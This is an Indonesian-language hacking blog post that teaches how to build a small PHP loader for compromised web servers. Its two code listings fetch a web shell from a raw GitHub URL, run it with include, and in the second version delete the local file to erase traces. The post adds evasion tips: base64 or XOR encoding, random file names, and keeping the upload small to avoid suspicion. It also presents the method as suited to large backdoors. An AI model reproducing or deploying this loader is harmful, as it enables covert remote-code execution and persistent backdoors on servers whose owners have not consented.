PHP Loader Shell ringan dengan Auto Fetch & Auto Delete
By 0x6ick
Dalam dunia web exploitation, kadang kita perlu shell yang ringan, dan mudah dijalankan dari remote source tanpa harus upload file besar. Artikel ini membahas cara membuat PHP loader kecil yang:
- Mengambil shell dari GitHub (file raw)
- Menjalankan shell secara otomatis
- Menghapus jejak file setelah eksekusi (auto-delete) — opsional
- Bisa menggunakan ekstensi file apa saja
Kenapa Tidak Upload Shell Langsung?
Karena file shell berukuran besar mudah terdeteksi dan diblokir, serta beberapa server mematikan fitur allow_url_include
sehingga tidak bisa langsung include dari URL. Dengan loader kecil ini, kamu hanya mengupload script minimal dan mengambil shell dari remote saat dijalankan.
Versi Loader Tanpa Auto-Delete
<?php
$tmp = 'cache_fm.php';
$url = 'https://raw.githubusercontent.com/6ickzone/0x6ickShell-Manager/refs/heads/main/fm.php';
if (!file_exists($tmp) || filesize($tmp) < 10) {
$code = file_get_contents($url);
file_put_contents($tmp, $code);
}
include($tmp);
?>
Penjelasan:
$tmp
= nama file lokal untuk menyimpan shell sementara.$url
= URL raw GitHub tempat shell disimpan.file_get_contents()
mengambil isi shell dari remote.file_put_contents()
menyimpan shell ke file lokal jika belum ada atau file lokal terlalu kecil.include()
menjalankan shell dari file lokal.
File lokal tidak dihapus, jadi bisa dipakai ulang tanpa fetch ulang ke server GitHub.
Versi Loader Dengan Auto-Delete (File Lokal Dihapus Setelah Eksekusi)
<?php
$tmp = 'cache_fm.php';
$url = 'https://raw.githubusercontent.com/6ickzone/0x6ickShell-Manager/refs/heads/main/fm.php';
if (!file_exists($tmp) || filesize($tmp) < 10) {
$code = file_get_contents($url);
file_put_contents($tmp, $code);
}
include($tmp);
unlink($tmp); // Hapus file setelah dipakai
?>
Penjelasan tambahan: unlink($tmp)
menghapus file shell lokal setelah dijalankan sehingga tidak meninggalkan jejak file di server target, cocok untuk akses sekali pakai (one-time shell).
Keuntungan Sistem Ini
- File utama sangat kecil, sehingga minim curiga.
- Bisa gunakan ekstensi file apapun di remote (bukan harus .php).
- Tidak tergantung fitur
allow_url_include
yang sering dimatikan hoster. - Auto-delete menjaga jejak tetap bersih dan menghindari deteksi.
- Bisa dikembangkan untuk auto-update, encode/decode shell, dan random nama file.
Tips Pengembangan
- Gunakan encoding base64 atau XOR untuk shell di remote agar sulit terbaca langsung.
- Ganti nama file lokal dengan string acak agar makin sulit terdeteksi.
- Tambahkan fallback jika GitHub raw limit atau down.
- Buat sistem pembaruan otomatis dengan cek hash remote vs lokal.
Penutup
Metode ini sangat berguna untuk backdoor besar, perkecil ukuran shellnya, dan eksekusi shell sekali pakai.
Where Creativity, Exploitation, and Expression Collide.
Posting Komentar